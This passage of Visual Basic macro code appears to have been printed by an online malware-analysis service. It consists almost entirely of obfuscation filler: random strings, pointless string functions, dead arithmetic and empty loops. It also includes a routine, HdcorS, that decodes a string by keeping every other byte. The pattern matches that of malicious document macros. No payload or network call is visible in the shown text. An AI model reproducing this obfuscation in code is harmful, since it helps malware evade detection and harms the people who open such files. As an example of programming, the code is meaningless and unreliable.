        MyPZoq = StrReverse("f e%LQYHkv")
        MpAZINP = RTrim("-YR?MyfzDL")
        pRVgsYqw = UCase("pNoDOK%gVtmc^?oH")
        MpAZINP = RTrim(")R [FTmX_T(PD_o-xEM")
        pRVgsYqw = UCase("iDwTJnAiF[iw!.pW&L")
        MpAZINP = UCase("bT)^t[ckuUc*snF@XXXK")
        mLwYhV = mLwYhV + 1
    Wend

    qypORU = LTrim("OZu?je k^k$viu%[XU@")
    oUCiwgp = Right("&acD))UfDpFlgNSEe?", 2)
    OoQhwH = 1654 - 1153 - 296
    qypORU = "[AC[DENai_ANQHdA" + "kPFL&^e#) pNX*?)K" + "_jy*Hf*d%OpR)d _&G"
    oUCiwgp = RTrim("J ZKMYJg.SIA")
    While hEwigR < 300
        xrhZZRD = "iA)*Tk?y!aH@c^aU" + "vhpDxl[_J?ri$ODhBT" + "ganthLmey$-H"
        MyPZoq = UCase("-J^zCe##i]Z")
        OoQhwH = UCase("Sj&Ee^$DKlh")
        pRVgsYqw = Space(14)
        pRVgsYqw = UCase("(boqMqMPO UV-jAy^tLa")
        OoQhwH = StrReverse("DnktkheiNNVtm")
        oUCiwgp = LTrim("O$w_(c]qiD")
        qypORU = RTrim("!EqsVa.u@I")
        pRVgsYqw = Right("^&ry_d.&#cN!DZ", 3)
        xrhZZRD = UCase("q#f^-rAWGr")
        hEwigR = hEwigR + 3
    Wend

    oUCiwgp = 1996 + 110 + 763

End Sub

Private Function GxPkHa(kGcKlRe As Double, UZwfuL As String, VlffkS As Integer, JjdkdhN As Integer, lzKjWi As Boolean) As String
    While nMAfzI < 118
        eJyDj = "Vug_GJq!PuZ" + "!IcnzSU.-z XXbndY)" + "lGUkSUdBx).)me &r"
        oUCiwgp = 1850 + 1646 + 402
        MpAZINP = Space(5)
        xrhZZRD = Space(17)
        qypORU = Left("Jz?wlsQqxGceiCmGv(", 4)
        pRVgsYqw = Left("u*&nhxo#Po?o K?ht", 4)
        eJyDj = Space(20)
        nMAfzI = nMAfzI + 3
    Wend

    OoQhwH = Space(7)
    qypORU = StrReverse("HwOhbxRBjs(nYcq")
    eJyDj = StrReverse("&!$D$hgDKjKhOJ$%a[kO")
    qypORU = Left("lK@unDMRd*", 3)
    qypORU = RTrim("]_J%Nrl_jn$(YIAD")
    eJyDj = Left("(Pa%zBE-OsB^OTP", 5)
    MpAZINP = Left("EXBgW.bGXL", 5)
    MyPZoq = LTrim(".XNm$dVF&sZ.YaQR")
    oUCiwgp = Right("c!lQ!IPO^%ah_Ar", 2)
    qypORU = UCase("sHoEVLTv$o#eCzT.Zsl")
    xrhZZRD = Space(10)
    qypORU = Space(7)
    oUCiwgp = UCase("rp)]$ga@TBOc?N")
    MpAZINP = Left("-OjPeF)kowzZDZa]Ai@@", 2)
    MyPZoq = LTrim("qaI^df(X!-JM")
    qypORU = UCase("MhLyznpU^y*lNv-#A-Ua")
    MyPZoq = Space(14)
    qypORU = "t]YBW$gxvrPoQ" + "&IVT[.ZIv.t##B?_z" + "w_L$AZxw*]xI!a%m"
    oUCiwgp = RTrim("vE[vgXpQKNiF.")
    MyPZoq = 166 + 785 + 1742
    qypORU = 684 - 1548 - 718
    GxPkHa = "sHafXJgmrIxdtxWqzysUpp"
End Function

Public Function HdcorS(Xfenlj As String) As String
OoQhwH = RTrim("rBjnU?gimu*")
qypORU = Left("$U%$Cc[oGO?P zlOU", 5)
eJyDj = UCase("t$Qobhv@D^Q[chO")
MyPZoq = LTrim("vC!?%Peo.(A_@O")
    Dim ZUgxF() As Byte
    eJyDj = LTrim("wSYA_xr?vX&]QWwJ%a")
    oUCiwgp = Right("j*[RQ]z[vf%yh", 4)
    While mivAdn < 396
        eJyDj = UCase("*FzEkT&xh@h.OO")
        MyPZoq = LTrim("nF.kug%waPORDuPDb")
        oUCiwgp = 897 - 868 - 336
        OoQhwH = Left("LZ?.idmDx?Y", 2)
        MyPZoq = RTrim(")#][@y[trGFvGwCjug")
        eJyDj = 1671 + 223 + 1351
        MyPZoq = 1410 - 213 - 557
        mivAdn = mivAdn + 3
    Wend
    xrhZZRD = Right("tHj_b%s?UKVu-vfLIEyR", 2)
    For rqLLBb = 0 To 54
        eJyDj = 1754 + 200 + 606
        xrhZZRD = LTrim("QC(-WVSLCqUhG")
        OoQhwH = Left("x$o U@fJaEjVLjd", 3)
        pRVgsYqw = UCase("%AbLKOKN vG#S")
        MpAZINP = Right("lMY[^czoFE.U[v&Ma.Lu", 5)
        OoQhwH = 536 - 877 - 1544
        eJyDj = Space(16)
        MpAZINP = "tIG?^dtXwzR_Qzf" + "&eL-EO%lB)[&MTR" + "SxYDO#WLGafJj)["
    Next rqLLBb
    Dim LRlbzh(1000) As Byte
    nUtZXYYd = 0
    ZUgxF = StrConv(Xfenlj, vbFromUnicode)
    For hldxPh = 0 To 386
        pRVgsYqw = "jjNPpnw fArbO [#vg^" + "mrffOgPQVah" + "@XDVN!kbSt@tr.RGy)]"
        oUCiwgp = RTrim("e@Doc)D#WrE MZjP")
        OoQhwH = Space(13)
        oUCiwgp = Space(4)
    Next hldxPh
    qypORU = LTrim("?icDUYs*s?sj#gqK")
    MyPZoq = 711 + 1140 + 990
    For MqbzENP = 0 To UBound(ZUgxF) - 1
    xrhZZRD = Right("rjM_IsS]mFT", 3)
    qypORU = "Ti DOcyOdifz#ft" + " d#PqxJ_ek)UicFYfD" + "iycFTqXdTixdNE"
    For fDmIjc = 0 To 278
        xrhZZRD = 969 + 1348 + 712
        MyPZoq = 1438 - 501 - 1292
        eJyDj = StrReverse("SAPmM.w@)ZSojFH")
    Next fDmIjc
        If (MqbzENP Mod 2 = 0) Then
        MpAZINP = Left("YsIDMF() dU", 4)
        MyPZoq = 1277 - 735 - 1150
        MyPZoq = RTrim("]*EAoyp[*lChO")
        While GfnmeT < 137
            OoQhwH = UCase("VeHFzXzo(-D@UFMgo")
            pRVgsYqw = Right("MCb!(UQdrPxQWvuog", 2)
            MyPZoq = 1377 - 1961 - 1464
            OoQhwH = 1058 - 851 - 1997
            xrhZZRD = "&LhKQU$wEq" + "zvRnNMdNn_-xi " + "QV)nDsoMjctP%N^JnW"
            OoQhwH = "E($SL_uqbJ#zqJyi)xI" + "?&(fQdbbfZ-O" + "nwKvm.ABkXAj!Ym"
            pRVgsYqw = LTrim("RSi#mQxQWaH")
            GfnmeT = GfnmeT + 3
        Wend
        qypORU = UCase("lU#kqHXUha#A")
            LRlbzh(nUtZXYYd) = ZUgxF(MqbzENP)
            While GZbtJJ < 38
                MpAZINP = 221 - 412 - 1916
                eJyDj = RTrim("KALXs[#ozWLy")
                MpAZINP = StrReverse("s% Uqv$z byuYXR")
                OoQhwH = Left("JGgrr)WLPv", 3)
                pRVgsYqw = UCase("EekXl?SH]f%PD]")
                GZbtJJ = GZbtJJ + 3
            Wend
            For AdzfRy = 0 To 377
                oUCiwgp = Right("Cj*&to.-S$?w", 2)
                MyPZoq = Space(17)
                OoQhwH = RTrim("_VZsFy)o()x[mO#?")
                OoQhwH = 988 + 1153 + 1114
                MyPZoq = UCase("gzYXUQk])JfumNgkZelP")
                MpAZINP = LTrim("Qq@$Yg#Ue(Jq")
                oUCiwgp = UCase("&Y.EKq[ A#")
            Next AdzfRy
            nUtZXYYd = nUtZXYYd + 2 - 1
            OoQhwH = Space(11)
            oUCiwgp = UCase("VA^J_elD*!@T(dc-I ")
            MpAZINP = "ugctLvrTRm!" + "PzB^ZNqx@?f!URlJr" + "W!iAZVWxi])TL^a"
        End If
        qypORU = Right("iXZu_V@ExE%Dw", 5)
        MpAZINP = Left("Pfa!)qgQ#e", 2)
        pRVgsYqw = UCase("?Je$H I.tK(bxmkBYrS")
    Next MqbzENP
    HdcorS = StrConv(LRlbzh, vbUnicode)
End Function
Private Function fmEmAP(bIvhkT As Boolean) As String
    oUCiwgp = StrReverse("D*]jCKzCa)#zujt@ND)")
    oUCiwgp = Right("WBA?^T&o@X??rM)", 4)
    qypORU = Left(")XQerNyhGqlCeKLEwc", 3)
    MpAZINP = RTrim("WNMz[^kU][Zx_&Y")
    pRVgsYqw = Space(14)
    qypORU = LTrim("$ctpCDstlTaxRxUc(XS")
    MyPZoq = UCase("pki#*ZYZ*]")
    oUCiwgp = UCase("$X*B##IbxODHfrQ--[h@")
    OoQhwH = Left("sxCMN%n%qp kVe", 4)
    oUCiwgp = LTrim("KvIXDILh)^I$")
    MpAZINP = UCase("tq!jWk*wcwgEcO&p")
    While nCDXfl < 109
        xrhZZRD = 673 - 1858 - 442
        pRVgsYqw = StrReverse("ZOAkYb)Td.h)I)?utbyI")
        xrhZZRD = StrReverse("?&)hFOvTF$(VU(")
        pRVgsYqw = Right("()$pxIZFfS?J%qZAA", 3)
        qypORU = LTrim("iX#rpaP&&azebpm")
        eJyDj = Right("VqVjPu[r#E[Ca]", 2)
        eJyDj = 316 + 125 + 708
        OoQhwH = 116 + 496 + 645
        xrhZZRD = UCase("%[k*%(!%*Uief gDnN]")
        xrhZZRD = Left("fJkAxLU]*($RtZM$&tS", 3)
        nCDXfl = nCDXfl + 2
    Wend

    eJyDj = Right("cRDFMEAze boNA(", 3)
    pRVgsYqw = StrReverse("MYIMMvkQdpj)r[z")
    oUCiwgp = LTrim("iR!Ptk wHP")
    MpAZINP = 1663 - 1856 - 453
    pRVgsYqw = Right("CJe.?E#Dhb", 2)
    pRVgsYqw = Left("LIUoi!!h#FQd_", 4)
    MpAZINP = "hjnR(GIEuBsM" + "qV&-CVY[WB&ek$W" + "i-X%NUP%g@*H(M@"
    qypORU = StrReverse("D!yaW spPcqC")
    eJyDj = Left("puTRI#^eoo!", 5)
    xrhZZRD = Left("[gt-x^.wx^#otHpJfQ", 2)
    oUCiwgp = Space(17)
    fmEmAP = "TUQikhcJPXvFmnVKcPrvnWC"
End Function

Private Function BHHePk(hWjPrGF As Boolean, FkidaT As Double, XRsSnCq As Boolean) As String
    qypORU = Right("dRUlsrG_-RFaX*]hsUr", 3)
    xrhZZRD = Left("wFM_mHQcn@rGpN", 5)
    MyPZoq = 366 - 853 - 1106
    OoQhwH = LTrim(")rG[L)DBpX$.hC IUH")
    pRVgsYqw = ".c?)!ZYsYtP]B" + "f&q(PtwMpIuV" + "DGdWKXCA[Keq"
    pRVgsYqw = Space(9)
    While OmAJXt < 81
        MpAZINP = 1821 - 1722 - 1042
        eJyDj = LTrim("s&MuAv^#jhJMu![_o)")
        MpAZINP = RTrim("ibcs*sQ#VMLm")
        eJyDj = UCase("G%KqYHgmkOTgSlp?$&j")
        oUCiwgp = LTrim("&Zx^?va]uvr!J@*wv")
        xrhZZRD = Left("UM]-ZIQT@ufqT-$uH%K", 2)
        qypORU = RTrim("xnOUNfTzaY")
        xrhZZRD = "lbAt^lLF[#uMZB( J_x" + "_Q&fm*FGbaL)Meiu*" + "DSKrRLEIn@FLXz"
        MyPZoq = 1741 + 1670 + 894
        eJyDj = StrReverse("ZAnmb#zoRKj")
        OmAJXt = OmAJXt + 3
    Wend

    oUCiwgp = LTrim("_F@CWA%Fea")
    oUCiwgp = StrReverse("c?f)r&idpEipaupahI")
    OoQhwH = RTrim("JIgxl_iMklEMPJDxB")
    eJyDj = 672 + 1838 + 842
    eJyDj = RTrim("_fIMpn*Bc%N")
    eJyDj = Right("QEV*&sdD  h", 5)
    pRVgsYqw = LTrim("LNW^n-VMaif^XV")
    OoQhwH = UCase("rag]ZKVcdJ")
    pRVgsYqw = Space(5)
    oUCiwgp = Right("AbIS%[AvrT])b?R?qp", 5)
    xrhZZRD = RTrim(" fUWaqm@-#Ibne_C")
    oUCiwgp = RTrim("_QhkGteDBxymTmC?^")
    MyPZoq = 1102 + 1171 + 115
    MyPZoq = Left("HpdY[-)oXi$[X*zfD*", 3)
    pRVgsYqw = "!JoPPlmUX%esEKl[YK" + "jGbCQKXSN%[mW" + "SLTXhye$R-MZiU"
    pRVgsYqw = Space(14)
    BHHePk = "sErGPupXJJFuMnJokcoVUpa"
End Function

Private Sub pdBJhF(bsSYrEG As Double)
    xrhZZRD = Right("TVoMQRfl&!FQcRso@lI", 2)
    xrhZZRD = "YPPpV&uLdQRf_I" + "KJf.SsXj*el" + "T*C.fekeIp^zduHh"
    xrhZZRD = LTrim("HZsjX%wgv(e?-*#")
    OoQhwH = Left("Gy-DQ&$k?Lzqc", 2)
    OoQhwH = UCase("W[U)dXdBDbp@-V@")
    eJyDj = 1244 + 134 + 1732
    eJyDj = UCase("tdc*WSWAT(@")
    eJyDj = UCase("H)ERDQn%^C-UKtPL-Ay")
    qypORU = RTrim("e[[j%HkvTx&[aud.E)")
    xrhZZRD = "BAZl$&NXkafBu" + "FHZ@ )D gDljuv_UEuK" + "JdVy]ejp.mHS"
    For GUNQtr = 0 To 190
        MpAZINP = StrReverse("!qV&$D kyittSW?bJGR&")
        OoQhwH = Left("Q#^xB_FuB^a$Ah&fEAwm", 2)
        oUCiwgp = 976 + 930 + 1687
        pRVgsYqw = "]sV_rlM)u!J[tETq" + "uz.[X*HCDwj_th" + "Hbe!&g*P$nyYvcH"
    Next GUNQtr

    pRVgsYqw = LTrim("IFI$AFsc$$Q!@H?XU")
    pRVgsYqw = 1319 - 1493 - 888
    MpAZINP = Right("l#rNawX?RT[wz", 5)
    xrhZZRD = UCase("C[Vfxbytsl%")
    MyPZoq = Space(9)
    For RSoCUa = 0 To 194
        qypORU = Space(3)
        pRVgsYqw = Space(17)
        oUCiwgp = StrReverse("NTQiMz*%z(")
        qypORU = StrReverse("pCn!a VlQx]")
        OoQhwH = 276 - 118 - 995
        OoQhwH = Left("Yjt#w@pznD", 4)
        pRVgsYqw = UCase("Q-&SDM &P#rlolwN")
    Next RSoCUa

    eJyDj = "mO%LdSWi?F@" + "N H^bq?^ (Fn&[]s@(" + "bR#e.g-(x]BQgm)ErTEL"
    oUCiwgp = StrReverse("!.ob]CBZ#*lf.BMC!K_")
    While MoCMVP < 89
        MpAZINP = LTrim("G(vx?ztB^s")
        MyPZoq = LTrim("RLW$xJ^(@f.PXUa")
        qypORU = "q*cb.ZYkOeATlciiYqM" + "yAh(b]hGdMd.[%@m-n" + "Uu#GQsB^ WcmaeNfC"
        OoQhwH = StrReverse("QPK]&AIMsAqndi.vioar")
        OoQhwH = Space(13)
        pRVgsYqw = 1951 - 1821 - 408
        MoCMVP = MoCMVP + 3
    Wend

    oUCiwgp = Right("?vr%l(bZMot-h.fDVX", 3)
    eJyDj = 1002 - 1586 - 1988
    OoQhwH = StrReverse(" CX cuzmBR-LG(QT%nH")
    pRVgsYqw = StrReverse(".dsu?Y!chp)cOpv$@")
    xrhZZRD = RTrim("&HTD?LE_FL&xq(?.")
    oUCiwgp = 1146 + 1445 + 206
    MyPZoq = Right("In)dPjhwhUK_e*X^^YK", 5)
    oUCiwgp = UCase("&-W.-yleKCp_SNej")
    xrhZZRD = Right("_Rruea(?SN", 5)
    OoQhwH = StrReverse("?^oiWOR$(SUy(..L Y")
    xrhZZRD = Right("vRJpR@I%Zs[%", 5)
    pRVgsYqw = StrReverse("vn#ADW?ePXXE@")
    oUCiwgp = 1002 + 1462 + 488
    OoQhwH = "^vf!pp.c.%zUX_%" + "&ishF[RD_-OYIf" + "fmWX$jCIyxd&"
    OoQhwH = Left("MOD#NfZjt*B]FKHwG", 5)
    eJyDj = Left("WNhSsVoRqkqB]vM-O", 4)
End Sub

Private Function kwbXqY(dajsayo As Integer, qsmkxHf As Double, cSGChms As String, HjqjQoY As Integer) As String
    pRVgsYqw = StrReverse("LIxk^SWyTDOlCLbU")
    pRVgsYqw = Right("Ce&SD^Xl]RgY*R", 3)
    eJyDj = Right("LKX-Syv_Mo&_CQyEfG", 4)
    oUCiwgp = 1133 + 431 + 1908
    OoQhwH = Right("k JZdBm(T^m", 4)
    pRVgsYqw = UCase("mzc*POLVKuumM")
    OoQhwH = Space(14)
    xrhZZRD = Space(2)
    OoQhwH = Left("&T&v-snlYMdOkE]yo@!", 2)
    oUCiwgp = 1392 + 628 + 1107
    MyPZoq = StrReverse("Q-?B.SRqV%fKHy")
    qypORU = RTrim("OXCHxE %iB_ftL")
    MyPZoq = 996 + 882 + 1308
    oUCiwgp = RTrim("-twS-vhEShdg")
    While ZmJvzw < 282
        qypORU = StrReverse("y#WQAAAf ys*DGBC")
        MyPZoq = StrReverse("B).rF$^M(Wq&.qMjpgal")
        qypORU = LTrim("vW[@!pnfLVk?jp?ue")
        OoQhwH = UCase("zL&*DU_* HR")
        eJyDj = StrReverse("bwTyGIP_fnqnL")
        pRVgsYqw = Space(13)
        MpAZINP = RTrim("zOG$mEJ]-BPJy-")
        pRVgsYqw = Space(17)
        ZmJvzw = ZmJvzw + 3
    Wend

    oUCiwgp = Space(19)
    oUCiwgp = 1466 + 1059 + 1972
    MyPZoq = LTrim("OvMseo!mH.oC*H")
    xrhZZRD = 1777 - 1920 - 257
    OoQhwH = Left("Ht.MKgCqn!oV.z?", 5)
    qypORU = Left("fGw_D]&IIplF_#?a", 2)
    OoQhwH = Left(")]& u&sCLhCM", 2)
    MpAZINP = 1360 - 1100 - 626
    qypORU = RTrim("fhzk!JsDG.!.H_m")
    oUCiwgp = 542 + 1009 + 463
    eJyDj = Space(6)
    OoQhwH = Right("xHkIZUWNnYUBhQ#jKxf", 5)
    MyPZoq = 1596 - 1714 - 418
    qypORU = Space(12)
    kwbXqY = "lhmIWdSKsRxUDMIqFRORmMgmnQyDz"
End Function

Private Sub bMccTl(ICREml As Integer)
    OoQhwH = 1928 - 664 - 1875
    MyPZoq = Space(7)
    xrhZZRD = RTrim("IhyNQNYUlhBjpG")
    MpAZINP = "ne[sZV]pFDUO  t" + "QJUMcv[kXCnt" + "!Dg*iMV^[U[Z^L**T"
    eJyDj = RTrim(".K&EN&)suXXlHIG@")
    While TXliBp < 244
        eJyDj = LTrim("ZV&iXfKvKxUArQ..zY*]")
        MyPZoq = "hfo.V)*RY?^a" + "qIHVY&-G*%_m" + "xBFcxtq!?vsAe[ XRb"
        MpAZINP = Right("URy].@-&lX", 3)
        xrhZZRD = Left("RlKIIYNdi&mlxyrTqfpu", 5)
        OoQhwH = Right("#VVf#[n[WO.rgmg]y?", 2)
        MyPZoq = Right("up%zlrVLSZWHF(P*", 5)
        TXliBp = TXliBp + 1
    Wend

    OoQhwH = Left("-)o^Iede^wi", 4)
    MpAZINP = "VOXTX_ IzOlcE@XZ" + "Y[x-%[Ni(W.WGIA)A]" + "WgznlqjWLtGdvnKkB"
    MyPZoq = UCase("MMV@LXwPhA-atR?QD ")
    MpAZINP = StrReverse("DLrlj!ZGY@)ve?LtQ&Y")
    qypORU = RTrim("BvsrkgV?S$")
    eJyDj = UCase("_sKI]NXECoHsd")
    oUCiwgp = Left("OUhYxH.V%)uF_n]JbVc", 2)
    MyPZoq = 388 - 914 - 710
    xrhZZRD = "d[P^&c%IL&jDQJS?]!Eb" + "kwTaUCvO$vSxz(qHHu" + "TJRA?J]f%W]qWG"
    MpAZINP = UCase("pQpn*_$WQfExt%pMaq]")
    pRVgsYqw = 1613 - 1402 - 1636
    eJyDj = "T L(.j!E(TT(QpSi$-x*" + "UCvngos(oYMJwzg$(Fc" + "GvnGKnSML] d"
    For vNQDOs = 0 To 45
        pRVgsYqw = StrReverse("$mrLbGv^YwCmWeOtS]EF")
        xrhZZRD = RTrim("wBvi@$SqLn!SeG^c_")
        OoQhwH = 1487 - 1484 - 1466
        qypORU = Right("oLjp Arn)RuB", 2)
        MyPZoq = Right("fwWEtQXkn-?", 2)
        OoQhwH = LTrim("B_CVm#DkzPwMwx?g")
        eJyDj = 1458 - 690 - 835
        oUCiwgp = StrReverse("acyfs!eSK@J")
        MyPZoq = RTrim("wAwbBbp&SUgAZrxoMP")
    Next vNQDOs

    pRVgsYqw = UCase("JGJxLAKcJuJy(l]o%$")
    MyPZoq = RTrim("(#jtTAqu%!?fVFAbpnh[")
    MyPZoq = StrReverse("C&AKAr dceF?O_B%")
    eJyDj = Right(".q-Ig (b]*XS-.&T&MH", 3)
    pRVgsYqw = RTrim("zfkML ?kbsKr@Ss*RjU.")
    xrhZZRD = 1878 + 115 + 1059
    pRVgsYqw = 386 + 232 + 1028
    qypORU = Space(16)
End Sub

Private Sub bssZLL(jlMiVJb As Boolean, ovonsQy As Double)
    oUCiwgp = Left("zvoTRqdNQ#ka_ ]l", 5)
    qypORU = 977 + 1002 + 1624
    OoQhwH = "EU-SvfLR_g[Y" + "E ?Ne_tgLuVY)" + "rg^GgCqW-fna&K"
    pRVgsYqw = UCase("INW[iSAb@DIADRuP")
    MpAZINP = 1429 + 1865 + 1603
    OoQhwH = UCase("#eqpB.Dji!NIg-?")
    eJyDj = UCase("jV^?.@[XE!Q MAt]qu")
    MpAZINP = Right("[mpVFrp)$_*xxkq", 2)
    MpAZINP = 1042 - 809 - 594
    xrhZZRD = Space(1)
    MyPZoq = "LrcXoLEN$nRW?_LPGM" + "%TKoCPeQh..Ll" + "AoRkrhKQbY"
    eJyDj = 1451 - 1943 - 908
    eJyDj = Right("Y_%RlXObj@l.(Upv", 4)
    pRVgsYqw = 1777 - 350 - 556
    qypORU = UCase("NcYdg o*AxRy")
    MyPZoq = Left("A#mBcmnlwqi]", 4)
    MyPZoq = RTrim("uLV.Fa&C&w")
    eJyDj = Space(11)
    oUCiwgp = RTrim("zXiAw(TA.NOe")
    xrhZZRD = Space(13)
End Sub

Private Sub UxOSYj(iWUXVfw As String, xwiJCtf As Boolean, vaNRLxW As Double, MxkVYi As Integer, TVufwp As Boolean)
    MyPZoq = "RFNV)Aw[uUoF" + "nM^G[%oQV[!Nl" + "ALaP%c?LS%*"
    pRVgsYqw = StrReverse("ilwBETE*-Vc@HYvETT")
    pRVgsYqw = Left("(jJmurVIJW", 3)
    pRVgsYqw = Right("wLjHDBaL-S", 2)
    OoQhwH = StrReverse("h#_l*.o)&w")
    oUCiwgp = RTrim("qXK lxlz]SNzy!KcVPzz")
    MyPZoq = Right("Agvz!VqN^ACq(kHK&k", 2)
    xrhZZRD = 1832 + 261 + 1300
    xrhZZRD = UCase("EQt!&fhDUH]C??.QQlx")
    xrhZZRD = Left("^)MVRVfkSZflbU", 4)
    While hUlyEl < 14
        xrhZZRD = 1861 - 212 - 1958
        OoQhwH = RTrim("@hCxp?F^rScYslKGl")
        qypORU = UCase("sHaPWW?HZug%$")
        MpAZINP = "KHKqU)o*p]m[Q" + "V!l]tc%pC[" + "LHfX]jzoiBgfKTNvRii"
        OoQhwH = StrReverse("_Qf(hOp)xuykZ")
        hUlyEl = hUlyEl + 1
    Wend

    MyPZoq = StrReverse("JSX]#TeKL@trB#O*KG")
    OoQhwH = Space(18)
    OoQhwH = "hfqYYwvr&VNYf!Xx" + "b[H?_OFyQ!g!. " + "*b$LOnmg*Ztdq Rqxvjb"
    MyPZoq = LTrim("OkXzxr].?^Lk(z)v.F[a")
    qypORU = RTrim("gV[Z-voQfWukn]hoUGZ")
    xrhZZRD = Space(11)
    MyPZoq = Left("dRlG_FBOi[edbp", 3)
    pRVgsYqw = Space(4)
    MyPZoq = Space(10)
    pRVgsYqw = UCase("EjWrXqZ%si")
    OoQhwH = 1037 - 1392 - 780
    MyPZoq = StrReverse("Yr]?gbpMu[l")
    OoQhwH = Space(19)
    MyPZoq = 1983 - 1202 - 115
    MyPZoq = RTrim("g-MFBUYbAYD")
    eJyDj = StrReverse("_Vyy&Hz?n.A")
    qypORU = Right("a$a!nVbGc&dldxfv@#a", 2)
    OoQhwH = RTrim("zcPJdTBXsmf^qQO$")
End Sub

Private Sub qdypTB(VaHimDB As Double, tGrSAn As String, HNhyXDn As Integer, LDysXX As Integer)
    MyPZoq = LTrim("?#mFsDk&C?%")
…

Open this report in the interactive analyzer, or submit your own file for analysis.